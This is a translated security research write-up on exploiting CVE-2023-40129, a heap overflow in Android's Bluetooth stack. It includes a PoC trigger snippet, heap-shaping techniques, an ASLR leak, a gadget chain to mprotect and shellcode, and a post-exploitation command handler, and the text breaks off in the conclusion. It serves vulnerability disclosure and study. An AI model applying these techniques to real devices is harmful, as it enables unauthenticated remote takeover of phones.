攻击蓝牙栈:从整数下溢到远程代码执行的技术剖析

本文深入分析了Android蓝牙栈(Fluoride)中的一个关键整数下溢漏洞(CVE-2023-40129),该漏洞允许未经认证的远程攻击者通过GATT协议触发堆溢出。文章详细阐述了如何利用“Just Works”认证模式、构建读写原语、绕过ASLR,并最终在Jemalloc和Scudo两种内存分配器上实现远程代码执行的完整技术链。

染蓝:攻击蓝牙栈

蓝牙一直是攻击者青睐的目标,因为它几乎无处不在(电视、车载充电器、智能冰箱等)。在移动设备上尤其如此,它作为特权进程运行,可以潜在访问麦克风、通讯录等。

2023年9月和10月,Android发布了关于其蓝牙栈(Fluoride)中关键漏洞的安全公告,这些漏洞可能导致远程代码执行。CVE-2023-40129是GATT协议中的一个整数下溢漏洞,无需用户交互或认证即可访问。其利用被证明非常困难,因为它会导致64 KB的堆溢出,如同海啸般摧毁沿途一切,几乎必然导致蓝牙进程崩溃。

在本博客文章中,我们详细介绍了如何在Android的两种原生分配器上利用此漏洞:Scudo和Jemalloc。

本文是英文原文的翻译。

目录

  • 蓝牙栈
  • BlueBlue框架
  • 漏洞分析
  • Just Works模式依然有效
  • 利用原语构建
  • 在Jemalloc设备上的代码执行
  • 在Scudo设备上的代码执行
  • 后利用
  • 结论
  • 参考文献

蓝牙栈

上图展示了蓝牙栈。它分为两个主要部分:控制器栈位于蓝牙芯片中,而主机栈由操作系统实现。HCI接口允许两个组件之间的通信。控制器主要管理物理和逻辑传输。我们的利用依赖于ACL,即承载数据帧的异步传输。在Android上,主机栈(称为Fluoride)作为守护进程在用户空间运行。一旦建立ACL链路,可以启动L2CAP连接以访问各种蓝牙服务(BNEP、HID、AVCTP等),这些服务提供众所周知的网络共享、视频流等功能。每个服务由一个唯一的协议服务多路复用器(PSM)标识:

服务 PSM
SDP 0x0001
RFCOMM 0x0003
BNEP 0x000F
HID 0x0011 (控制), 0x0013 (中断)
AVCTP 0x0017 (控制), 0x001B (浏览)
AVDTP 0x0019
GATT 0x001F
GAP 0x01001, 0x1003, 0x1005, 0x1007

与每个服务相关的代码位于 system/stack/ 目录中。每个服务通过以下API注册:

1
2
3
4
uint16_t L2CA_Register2(uint16_t psm, const tL2CAP_APPL_INFO& p_cb_info,
                        bool enable_snoop, tL2CAP_ERTM_INFO* p_ertm_info,
                        uint16_t my_mtu, uint16_t required_remote_mtu,
                        uint16_t sec_level)

sec_level 参数定义了访问服务所需的安全级别。大多数服务要求连接经过认证和加密。 只有极少数服务可以在没有认证的情况下访问——特别是SDP、RFCOMM和GATT。但即使连接开始时未认证,某些操作(如写入GATT属性)可能稍后需要认证,从而进一步减少了攻击面。

BlueBlue框架

基于BlueBorne项目的L2CAP测试框架,我们开发了自己的框架,名为BlueBlue。它使用Scapy来构建和解析HCI帧。该框架允许建立ACL链路并打开L2CAP连接。 它还支持蓝牙规范中的多项功能,如L2CAP分段和ERTM传输模式。它实现了我们使用的所有主机栈功能,这使我们有很大的自由来探索新的想法。 只需几行代码,我们就可以建立ACL连接、连接到L2CAP服务、发送命令并接收响应:

1
2
3
4
acl = ACLConnection(src_bdaddr, dst_bdaddr, auth_mode = 'justworks')
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=672)
gatt.send_frag(p8(GATT_READ)+p16(1234))
print(gatt.recv())

漏洞

CVE-2023-40129是GATT服务器中的一个漏洞。GATT协议用于暴露简单的键值类型属性。键是16位的句柄,而值是简单的原始数据。操作码 GATT_REQ_READ_MULTI_VAR 允许一次性读取多个属性。 请求由操作码 GATT_REQ_READ_MULTI_VAR 后跟GATT句柄列表组成:

[请求格式示意图]

响应由操作码 GATT_RSP_READ_MULTI_VAR 后跟每个请求属性的长度和值组成:

[响应格式示意图]

请求在函数 gatt_process_read_multi_req() 中处理,该函数负责获取请求的属性值:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
for (ll = 0; ll < multi_req->num_handles; ll++) {
  tGATTS_RSP* p_msg = (tGATTS_RSP*)osi_calloc(sizeof(tGATTS_RSP));
  handle = multi_req->handles[ll];
  auto it = gatt_sr_find_i_rcb_by_handle(handle);

  p_msg->attr_value.handle = handle;
  err = gatts_read_attr_value_by_handle(
    tcb, cid, it->p_db, op_code, handle, 0, p_msg->attr_value.value,
    &p_msg->attr_value.len, GATT_MAX_ATTR_LEN, sec_flag, key_size,
    trans_id);

  if (err == GATT_SUCCESS) {
    gatt_sr_process_app_rsp(tcb, it->gatt_if, trans_id, op_code,
                            GATT_SUCCESS, p_msg, sr_cmd_p);
  }
  /* either not using or done using the buffer, release it now */
  osi_free(p_msg);
}

函数 gatt_sr_process_app_rsp() 为每个属性调用。它将获取的属性值(封装在变量 p_msg 中)传递给函数 process_read_multi_rsp(),后者将其复制到新分配的结构中,然后放入队列:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static bool process_read_multi_rsp(tGATT_SR_CMD* p_cmd, tGATT_STATUS status,
                                   tGATTS_RSP* p_msg, uint16_t mtu)
{

  if (p_cmd->multi_rsp_q == NULL)
    p_cmd->multi_rsp_q = fixed_queue_new(SIZE_MAX);

  /* Enqueue the response */
  BT_HDR* p_buf = (BT_HDR*)osi_malloc(sizeof(tGATTS_RSP));
  memcpy((void*)p_buf, (const void*)p_msg, sizeof(tGATTS_RSP));
  fixed_queue_enqueue(p_cmd->multi_rsp_q, p_buf);

  p_cmd->status = status;
  if (status == GATT_SUCCESS) {
    /* Wait till we get all the responses */
    if (fixed_queue_length(p_cmd->multi_rsp_q) ==
        p_cmd->multi_req.num_handles) {
      build_read_multi_rsp(p_cmd, mtu);
      return (true);
    }
  } else /* any handle read exception occurs, return error */
  {
    return (true);
  }

  /* If here, still waiting */
  return (false);
}

漏洞位于函数 build_read_multi_rsp() 中,该函数负责构建响应消息:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
static void build_read_multi_rsp(tGATT_SR_CMD* p_cmd, uint16_t mtu) {
  uint16_t ii, total_len, len;
  uint8_t* p;
  bool is_overflow = false;

  len = sizeof(BT_HDR) + L2CAP_MIN_OFFSET + mtu;                        // [0]
  BT_HDR* p_buf = (BT_HDR*)osi_calloc(len);
  p_buf->offset = L2CAP_MIN_OFFSET;
  p = (uint8_t*)(p_buf + 1) + p_buf->offset;

  /* First byte in the response is the opcode */
  if (p_cmd->multi_req.variable_len)
    *p++ = GATT_RSP_READ_MULTI_VAR;
  else
    *p++ = GATT_RSP_READ_MULTI;

  p_buf->len = 1;

  /* Now walk through the buffers putting the data into the response in order
   */
  list_t* list = NULL;
  const list_node_t* node = NULL;
  if (!fixed_queue_is_empty(p_cmd->multi_rsp_q))
    list = fixed_queue_get_list(p_cmd->multi_rsp_q);
  for (ii = 0; ii < p_cmd->multi_req.num_handles; ii++) {
    tGATTS_RSP* p_rsp = NULL;

    if (list != NULL) {
      if (ii == 0)
        node = list_begin(list);
      else
        node = list_next(node);
      if (node != list_end(list)) p_rsp = (tGATTS_RSP*)list_node(node); // [1]
    }

    if (p_rsp != NULL) {
      total_len = (p_buf->len + p_rsp->attr_value.len);                 // [2.1]
      if (p_cmd->multi_req.variable_len) {
        total_len += 2;                                                 // [2.2]
      }

      if (total_len > mtu) {
        /* just send the partial response for the overflow case */
        len = p_rsp->attr_value.len - (total_len - mtu);                // [3]
        is_overflow = true;
        VLOG(1) << StringPrintf(
            "multi read overflow available len=%d val_len=%d", len,
            p_rsp->attr_value.len);
      } else {
        len = p_rsp->attr_value.len;
      }

      if (p_cmd->multi_req.variable_len) {
        UINT16_TO_STREAM(p, len);
        p_buf->len += 2;
      }

      if (p_rsp->attr_value.handle == p_cmd->multi_req.handles[ii]) {
        memcpy(p, p_rsp->attr_value.value, len);                        // [4]
        if (!is_overflow) p += len;
        p_buf->len += len;
      } else {
        p_cmd->status = GATT_NOT_FOUND;
        break;
      }

      if (is_overflow) break;

    } else {
      // [...]
    }
  } /* loop through all handles*/
  // [...]
}

在函数顶部 [0],我们可以看到分配了一个结构体(p_buf),其中包含响应缓冲区。分配的缓冲区大小取决于MTU,该值可以在打开L2CAP通道时配置。 接下来的代码段遍历GATT属性列表 [1] 并检查它们是否适合放入响应消息中。也就是说,对于每个属性,该函数计算消息的预期总长度([2.1] 和 [2.2]),并检查是否超过MTU。如果没有足够空间存储该属性,则可以复制到缓冲区中的数据最大大小按 [3] 所示计算。然而,len 的计算是错误的,因为它没有考虑 [2.2] 处的加法。这个整数下溢导致在 [4] 处发生基于堆的溢出(正如 is_overflow = true 指令所讽刺地预测的那样)。 以下代码片段触发了该漏洞。它连接到GATT通道并设置MTU为55。然后,它请求4次属性9(16字节):

1
2
3
4
5
6
7
8
acl = ACLConnection(interface, bdaddr)
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=55)
pkt = b'\x20'   # GATT_REQ_READ_MULTI_VAR OPCODE 
pkt += p16(9)   # 16-byte attr
pkt += p16(9)   # 16-byte attr
pkt += p16(9)   # 16-byte attr
pkt += p16(9)   # 16-byte attr
gatt.send(pkt)

当尝试插入最后一个属性时发生溢出。具体来说,在 [3] 处,p_buf->len 的值为55(1+ 3*(16+2)),total_len 为73。因此,len 将下溢至-2(0xfffe),导致响应缓冲区溢出约64 KB。 最近,在OffensiveCon 2025上,发现该漏洞的Google Android红队展示了一个针对Pixel设备上类似漏洞(CVE-2023-35673)的PoC利用。然而,他们的利用假设ASLR被禁用,并且攻击者已经与目标设备配对。在以下部分中,我们详细介绍了不依赖这些假设来利用Fluoride的策略。

Just Works模式依然有效

2017年,BlueBorne文章披露了多个影响BlueZ(Linux栈)和Fluoride(Android栈)的关键蓝牙漏洞。该文档描述了蓝牙规范中一个“晦涩”的认证方法:Just Works。Just Works认证模式允许在没有用户交互的情况下进行临时配对。它用于与没有键盘或显示屏的设备进行安全简单配对。在这种情况下,认证发生时无需PIN码验证。 我们在BlueBlue框架中实现了Just Works认证模式,并确认它在Android 13上仍然有效。 Just Works认证有一些限制。首先,Fluoride将连接视为易受中间人攻击,从而阻止访问某些功能,如读取或写入受保护的GATT属性。其次,使用Just Works会中断与共享相同BDADDR地址的设备的任何现有配对。尽管有其局限性,但这种认证模式仍然允许我们建立到各种蓝牙服务的L2CAP连接,例如GAP、BNEP和AVCTP。虽然触发该漏洞不需要事先认证,但我们利用它的方式需要连接到多个L2CAP通道。这就是Just Works模式发挥作用的地方。

利用原语构建

持久化数据分配 利用此漏洞需要一个非常精确的堆布局策略,以避免蓝牙守护进程因堆状态损坏而崩溃。 我们审计了Fluoride的源代码,并识别出一些可以被劫持以强制进行大小可控、数据可控的分配,并使这些分配持久化的功能。例如,在配置L2CAP通道时,如果配对设备不识别配置选项,它将发送被拒绝选项的精确副本(CONFIG REJ消息)。配置选项由类型(1字节字段)、长度(1字节字段)和实际值(大小任意,内容完全可控)组成。包含被拒绝选项的响应分配在以下函数中执行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
void l2cu_send_peer_config_rej(tL2C_CCB* p_ccb, uint8_t* p_data,
                               uint16_t data_len, uint16_t rej_len) {
    uint16_t len, cfg_len, buf_space, len1;
    uint8_t *p, *p_hci_len, *p_data_end;
    uint8_t cfg_code;

    /* ... */

    len = BT_HDR_SIZE + HCI_DATA_PREAMBLE_SIZE + L2CAP_PKT_OVERHEAD +
          L2CAP_CMD_OVERHEAD + L2CAP_CONFIG_RSP_LEN;

    BT_HDR* p_buf = (BT_HDR*)osi_malloc(len + rej_len);

    /* ... */
}

分配一旦返回给发起连接的配对设备就会被释放。然而,我们可以通过拥塞使其持久化。

拥塞 蓝牙规范在ACL层提供了流量控制功能。如果其ACL接收缓冲区已满,蓝牙控制器可以清除其发送的ACL数据包头部中的FLOW位,以防止在接收缓冲区正在处理时,配对设备发送更多数据包。此功能通常不会暴露给主机,但我们可以通过修改控制器的固件来操纵它。幸运的是,Cypress控制器甚至有一个专有的HCI命令来启用它,因此模拟ACL拥塞相当简单。在这种状态下,被声明为拥塞的配对设备仍然可以向远程设备发送数据包,但无法接收响应。远程设备将处理这些数据包,但无法响应。Fluoride栈会适当地处理拥塞。因此,如果我们在控制器声明ACL拥塞时发送无效的配置请求,Fluoride将不会返回响应,而是将它们保留在队列中,直到拥塞停止。

需要注意的是,拥塞受到配额的限制。一旦达到配额,额外的消息将被丢弃而不是排队。然而,L2CAP信令通道不受此限制,这意味着我们可以分配几乎无限数量的CONFIG REJ响应消息。我们可以通过关闭相关的ACL连接来释放所有这些分配。 同样重要的是要注意,拥塞在Fluoride栈级别被延迟,第一批响应将在发送到控制器后立即被释放。以下函数检查数据包是否可以发送到控制器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
void l2c_link_check_send_pkts(tL2C_LCB* p_lcb, uint16_t local_cid,
                              BT_HDR* p_buf) {
    /* ... */
    while(((l2cb.controller_xmit_window != 0 &&
        (p_lcb->transport == BT_TRANSPORT_BR_EDR)) ||
        (l2cb.controller_le_xmit_window != 0 &&
        (p_lcb->transport == BT_TRANSPORT_LE))) &&
        (p_lcb->sent_not_acked < p_lcb->link_xmit_quota)) {
            p_buf = l2cu_get_next_buffer_to_send(p_lcb);
            if (p_buf == NULL) {
                LOG_DEBUG("No next buffer, skipping");
                break;
            }
            LOG_DEBUG("Sending to lower layer");
            l2c_link_send_to_lower(p_lcb, p_buf);
        }
    }
    /* ... */
}

检查基于变量 controller_xmit_window,该变量在函数 l2c_link_send_to_lower_br_edr() 中每次将数据包传输到底层控制器时递减。其值在 l2c_packets_completed 中按确认的数据包数量递增。

ERTM传输模式 ERTM是构建在L2CAP之上的附加传输层,为其增加了可靠性:序列号、确认和重传。我们可以以两种不同的方式滥用此模式来强制持久化分配:

  1. 发送具有意外序列号的L2CAP片段,例如 seq_tx = 1。只要序列号 seq_tx = 0 的消息尚未发送,远程配对设备将保留所有后续消息在内存中。这种行为很有用,因为它允许我们分配大小和内容受控的消息。
  2. 强制Fluoride发送ERTM片段,但故意不确认它。该片段将保留在内存中,只要我们不对其进行确认,我们可以随时请求重传。

这两种技术中的每一种都允许每个L2CAP连接最多分配10个持久化消息(这就是我们不能依赖ERTM进行喷射的原因)。只有少数L2CAP通道(如GAP和AVCTP)支持ERTM模式,并且所有这些都需要与配对设备进行认证。

相对读原语 结构体 BT_HDR 是一个有趣的目标。它在蓝牙代码库中广泛用于表示各种数据,如L2CAP消息和ERTM片段:

1
2
3
4
5
6
7
typedef struct {
    uint16_t event;
    uint16_t len;
    uint16_t offset;
    uint16_t layer_specific;
    uint8_t data[];
} BT_HDR;

BT_HDR 结构体是可变长度的。len 字段表示数据缓冲区的长度。它还包括一个 offset 字段,指示数据字段中数据的起始位置。为了在堆中构建相对读原语,我们可以重写发送队列中待处理的ERTM片段的 len 字段,并增加其大小,从而泄漏 com.android.bluetooth 进程的堆内容。 AVCTP浏览通道是构建读原语的良好候选。它使用ERTM,并且我们可以强制它传输大小可控的响应。GET_FOLDER_ITEMS 请求允许我们请求音乐播放列表的元数据(例如,艺术家、歌曲名称、专辑名称)。通过发送精心选择属性的 GET_FOLDER_ITEMS 请求,我们可以使响应分配落入与易受攻击缓冲区相同的bin类中。如果我们修改与 GET_FOLDER_ITEMS 响应相关的 BT_HDR 结构,我们可以通过请求重传修改后的消息来泄露信息。

相对写原语 ERTM支持分段。消息在函数 do_sar_reassembly() 中重新组装。在接收到第一个片段时,该函数使用初始片段中指定的大小分配一个 BT_HDR 结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
if (sar_type == L2CAP_FCR_START_SDU) {
    /* Get the SDU length */
    STREAM_TO_UINT16(p_fcrb->rx_sdu_len, p);
    p_buf->offset += 2;
    p_buf->len -= 2;

    if (p_fcrb->rx_sdu_len > p_ccb->max_rx_mtu) {
        L2CAP_TRACE_WARNING("SAR - SDU len: %u  larger than MTU: %u",
                            p_fcrb->rx_sdu_len, p_ccb->max_rx_mtu);
        packet_ok = false;
    } else {
        p_fcrb->p_rx_sdu = (BT_HDR*)osi_malloc(
            BT_HDR_SIZE + OBX_BUF_MIN_OFFSET + p_fcrb->rx_sdu_len);
        p_fcrb->p_rx_sdu->offset = OBX_BUF_MIN_OFFSET;
        p_fcrb->p_rx_sdu->len = 0;
    }
}

后续片段使用 BT_HDR 结构的 lenoffset 字段进行复制:

1
2
3
memcpy(((uint8_t*)(p_fcrb->p_rx_sdu + 1)) + p_fcrb->p_rx_sdu->offset +
       p_fcrb->p_rx_sdu->len, p, p_buf->len);
p_fcrb->p_rx_sdu->len += p_buf->len;

因此,通过破坏 offset 字段,然后发送带有数据的第二个片段,我们获得了一个相对写原语。

绕过ASLR和控制PC Fluoride栈使用libchrome的回调对象来处理各种事件。这个对象对于构建利用原语很有趣,因为它有一个函数指针,当回调触发时会被调用,以及传递给它的某些参数。因此,泄漏此对象将揭示libbluetooth的基地址,重写它将使我们可以控制执行流程。 SDP发现回调特别有趣,因为我们控制其分配,并且可以随时触发回调:

回调对象在打开AVRCP通道时的函数 SdpLookup 中分配:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
bool ConnectionHandler::SdpLookup(const RawAddress& bdaddr, SdpCallback cb,
                                  bool retry) {

    /* ... */

    return avrc_->FindService(UUID_SERVCLASS_AV_REMOTE_CONTROL, bdaddr,
                              &db_params,
                              base::Bind(&ConnectionHandler::SdpCb,
                                         weak_ptr_factory_.GetWeakPtr(), bdaddr,
                                         cb, disc_db, retry)) == AVRC_SUCCESS;
}

Bind() 方法负责分配回调对象(0x60字节)。回调结构填充了函数指针 SdbCp 及其参数:

1
2
3
void ConnectionHandler::SdpCb(RawAddress bdaddr, SdpCallback cb,
                              tSDP_DISCOVERY_DB* disc_db, bool retry,
                              uint16_t status)

回调在函数 avrc_sdp_cback() 中调用:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/******************************************************************************
 *
 * Function         avrc_sdp_cback
 *
 * Description      This is the SDP callback function used by A2DP_FindService.
 *                  This function will be executed by SDP when the service
 *                  search is completed.  If the search is successful, it
 *                  finds the first record in the database that matches the
 *                  UUID of the search.  Then retrieves various parameters
 *                  from the record.  When it is finished it calls the
 *                  application callback function.
 *
 * Returns          Nothing.
 *
 *****************************************************************************/
static void avrc_sdp_cback(tSDP_STATUS status) {
    AVRC_TRACE_API("%s status: %d", __func__, status);

    /* reset service_uuid, so can start another find service */
    avrc_cb.service_uuid = 0;

    /* return info from sdp record in app callback function */
    avrc_cb.find_cback.Run(status);

    return;
}

重写回调对象允许触发具有完全可控参数的任意函数调用。我们可以通过从AVRCP浏览通道连接时建立的SDP通道断开连接来触发回调。

在Jemalloc设备上执行代码

利用场景 为了在使用Jemalloc的设备上获得代码执行,我们采用了以下策略:

  1. 布局堆,以便重写两个 BT_HDR 对象。第一个引用发送队列中待处理的ERTM消息(reader),而第二个对应接收队列中待处理的ERTM片段(writer)。
  2. 触发溢出并破坏reader和writer对象。
  3. 分配回调对象(executor)。
  4. 请求重传修改后的数据包。
  5. 检索回调对象的内容。
  6. 使用相对写原语重写回调对象的内容。
  7. 触发回调。

堆布局 第一步是布局堆,以便用受控数据重写reader和writer对象。我们依赖于前面部分描述的功能,例如拥塞和ERTM传输模式。具体来说,我们采用了以下策略来控制溢出的来源以及将对象排列在目标bin中。

  1. 启用ACL拥塞。
  2. 喷射多个CONFIG REJ消息。
  3. 在喷射期间交替分配ERTM消息和CONFIG REJ消息,使每个ERTM消息后面都跟着受控数据。
  4. 禁用ACL拥塞。CONFIG REJ分配被释放。
  5. 通过关闭相关连接等方式释放ERTM分配。ERTM分配在缓冲区溢出时被GATT相关对象(t_GATTS_RSP)重用。

下图说明了控制溢出来源的堆状态。首先,我们喷射数十个CONFIG REJ消息以强制蓝牙栈层面出现拥塞。然后,我们交替分配ERTM消息和CONFIG REJ消息,使每个ERTM消息后面都跟着受控数据。一旦释放,ERTM分配将被包含要复制到易受攻击对象中的属性值的GATT对象(t_GATTS_RSP)重用。

[堆状态图:控制溢出来源]

现在我们已经获得了控制溢出来源所需的堆状态,让我们看看如何将对象(reader、writer和executor)排列在与易受攻击对象相同的bin中。作为参考,易受攻击对象的大小取决于MTU大小,计算如下:

1
len = sizeof(BT_HDR) + L2CAP_MIN_OFFSET + mtu; // 8 + 13 + MTU

我们决定以用于分配回调对象(executor)的同一bin为目标。通过应用与塑造来源相同的策略,我们获得了所需的堆状态。在下图中,executor对象(回调)在溢出后被分配。

[堆状态图:排列目标对象]

ASLR泄漏 通过破坏reader对象的 len 字段,我们可以泄漏多达64 KB的数据,其中包括executor对象的内容。它包含多个函数指针,可用于推断libbluetooth库的基地址。通过分析泄漏的数据,我们注意到在某些情况下,art::Thread 对象存在其中。它包含libart、libm和libc库中的多个函数指针。由于此对象很少出现在泄漏中,我们决定不在利用中使用它。

代码执行 通过重写SDP发现回调对象获得代码执行。我们可以通过修改 RunSdpCb 函数指针来实现。Run 函数的唯一目的是准备并分发对实际回调 SdpCb 的调用。然而,这些指针都不实用,因为我们无法精细控制参数。 为了完全控制参数,我们决定重写函数指针 Run 来调用以下函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
__int64 __fastcall sub_5e023c(__int64 callback)
{
    __int64 v1;
    char *v2;
    __int64 *v3;

    v1 = *(_QWORD *)(callback + 0x28);
    v2 = *(char **)(callback + 0x20);
    v3 = (__int64 *)(*(_QWORD *)(callback + 0x30) + (v1 >> 1));
    if ( (v1 & 1) != 0 )
        v2 = *(char **)&v2[*v3];
    return ((__int64 (__fastcall *)(__int64 *, _QWORD, _QWORD, _QWORD, _QWORD))v2)(
               v3,
               *(_QWORD *)(callback + 0x38),
               *(_QWORD *)(callback + 0x40),
               *(unsigned __int8 *)(callback + 0x48),
               *(unsigned int *)(callback + 0x4C));
}

此函数(gadget函数)允许我们调用任意函数,同时控制5个参数,其中前三个是QWORD。目标函数及其参数都从传递给gadget的参数对象中提取。 现在我们控制了参数,让我们看看如何调用多个函数。 函数 list_clear 接受一个 list_t 结构作为输入,并为列表中的每个节点调用函数 list_free_node()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
void list_clear(list_t* list) {
    CHECK(list != NULL);
    for (list_node_t* node = list->head; node;)
        node = list_free_node_(list, node);
    list->head = NULL;
    list->tail = NULL;
    list->length = 0;
}

static list_node_t* list_free_node_(list_t* list, list_node_t* node) {
    CHECK(list != NULL);
    CHECK(node != NULL);

    list_node_t* next = node->next;

    if (list->free_cb) list->free_cb(node->data);
    list->allocator->free(node);
    --list->length;

    return next;
}

通过注入一个具有多个节点的假列表结构,我们可以根据需要调用任意数量的函数。由于我们只需要调用两个函数,我们使用了更简单的方法:通过 list->free_cb() 进行第一次调用,通过 list->allocator->free() 进行第二次调用。这些调用足以调用 mprotect()——使我们的shellcode页面可执行——然后跳转到shellcode。 拼图中唯一缺失的部分是将任意数据放在一个已知地址:shellcode以及执行它所需的所有结构(假列表和节点对象)。 回调对象为我们提供了一个指向0x1010字节堆缓冲区的指针。通过在回调对象分配后立即喷射相同大小的对象(包含受控数据),很有可能它们在内存中是连续放置的。这使我们能够推断出受控数据所在的地址。 下图说明了如何劫持执行控制流以执行我们的shellcode,并总结如下:

  1. 通过重写回调对象以调用 gadget() 函数获得代码执行。
  2. gadget 函数调用 list_clear 函数,并传入一个假列表对象(黄色)。
  3. 指令 list->free_cb(node->data) 再次调用 gadget 函数,以准备调用 mprotect()(粉色)。
  4. 指令 list->allocator->free(node) 通过使用假节点对象(绿色)作为参数调用 gadget 函数来执行shellcode。

[执行流劫持示意图]

在Scudo设备上执行代码

关于Scudo分配器的说明 Scudo是一个内存分配器,设计时注重效率和安全性。下一节重点介绍服务于小型分配(< 0x10000 字节)的主分配器。 Scudo将内存组织成区域,每个区域专门用于特定大小类(类ID)的分配。在这些区域内,内存被划分为块。一个块由16字节的元数据后跟一个chunk组成——chunk是调用 malloc() 时返回给程序的实际内存单元。 当线程请求内存时,分配器首先检查线程本地缓存中是否有适当大小类的可用chunk。如果找到,则立即返回。如果缓存为空,Scudo尝试从全局空闲块列表(global freelist)中获取一个TransferBatch——一组预分配的chunk——以填充缓存。如果没有可用的批次,Scudo会从专用于该大小类的区域分配内存,将其分割成单独的chunk,随机化它们的顺序以减轻利用,并将它们分组为一个或多个TransferBatches。其中一个批次返回给请求线程,而其他批次则存储在全局缓存中以备将来使用。 有关Scudo分配器的更多信息,我们建议阅读Kevin Denis之前的一篇博客文章。 Scudo具有安全措施,使得重现与Jemalloc相同的攻击场景变得困难:

  1. 内存chunk以校验和为前缀,释放chunk时会验证该校验和。也就是说,如果我们破坏块的元数据然后释放它,程序会中止。
  2. 内存块是随机排列的。在这种情况下,建立相对写原语很困难,该原语假设回调对象可以从固定偏移量访问。

为了克服第一个问题,一种方法是布局堆,以便只破坏空闲chunk或受控且持久的chunk。 关于随机化机制,它是按内存块批次应用的,而不是对整个区域应用一次。每批随机化的块数取决于大小类。对于小于0x350字节的内存块(大小类ID从1到15),此值等于52(4 * 13),这是TransferBatches数量与每个TransferBatch内内存块数量的乘积。因此,通过在易受攻击对象和目标对象之间插入N = 52个中间分配,可以将目标定位在溢出范围内,从而使其可被破坏:

[Scudo堆布局示意图]

利用场景 由于我们无法建立相对写原语,我们将触发溢出两次!

  1. 第一次溢出以reader对象为目标,以获取libbluetooth库的基地址。
  2. 第二次溢出以executor对象(回调)为目标,以触发代码执行。

并希望在64 KB的堆数据损坏后存活下来。

堆布局 我们采用略有不同的堆布局策略来控制溢出的来源。像往常一样,我们依赖拥塞来喷射数百个CONFIG REJ消息,并使用ERTM传输来在堆中创建“空洞”。 下图说明了溢出前后的源数据。我们使用ERTM消息为各种GATT属性保留空间。需要注意的是,ERTM消息按照它们分配的相同顺序被释放。分配的第一个ERTM消息将被易受攻击的GATT分配(绿色显示)回收。我们分离这个特定ERTM消息的分配,使其后面跟着多个包含受控数据的CONFIG REJ响应。

[Scudo源数据控制示意图]

内存泄露 不幸的是,尝试泄露先前利用中使用的回调对象的内容未成功。然而,在泄露的数据中持续观察到第二个回调对象。此对象由函数 ActivityAttribution::Capture() 分配,该函数负责记录HCI数据包。此对象包含多个函数指针,使我们能够推断进程的基地址以及稍后将托管我们有效负载的分配位置。

代码执行 通过第二次触发漏洞来破坏Jemalloc利用中使用的SDP发现回调对象来实现代码执行。然而,由于内存chunk的随机化,可靠地重写回调对象的所有字段是困难的。 一种解决方案是将函数指针 Run 破坏为以下gadget的地址:

1
2
3
4
5
6
LDR  X0, [X0]
MOV  W8, W1
MOV  W1, W2
MOV  W2, W8
LDR  X3, [X0,#8]
BR   X3

通过此pivot gadget进行利用仅需要破坏回调对象的两个特定字段即可劫持执行流,如下图所示:

[Scudo执行流劫持示意图]

后利用

shellcode通过蓝牙安装一个命令处理程序,该处理程序提供了与目标交互的有用功能,例如执行shell命令或将文件上传到设备。具体来说,shellcode首先修补函数 l2c_rcv_acl_data(),以将其重定向到我们的命令处理程序。每当从控制器接收到消息时,就会调用此函数。 shellcode还注册一个信号处理程序来拦截SIGSEGV信号,防止由于64 KB溢出引起的崩溃导致 com.android.bluetooth 进程重启。

结论

CVE-2023-40129是蓝牙栈中的一个关键漏洞,不需要用户交互或事先认证。我们成功地利用它在运行Jemalloc(小米12T)和Scudo(三星A54)的Android设备上实现了远程代码执行。 这些利用并非完全可靠,经常导致蓝牙进程崩溃。然而,蓝牙守护进程会静默重启,因此我们可以一遍又一遍地重试利用。我们进行了基本

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计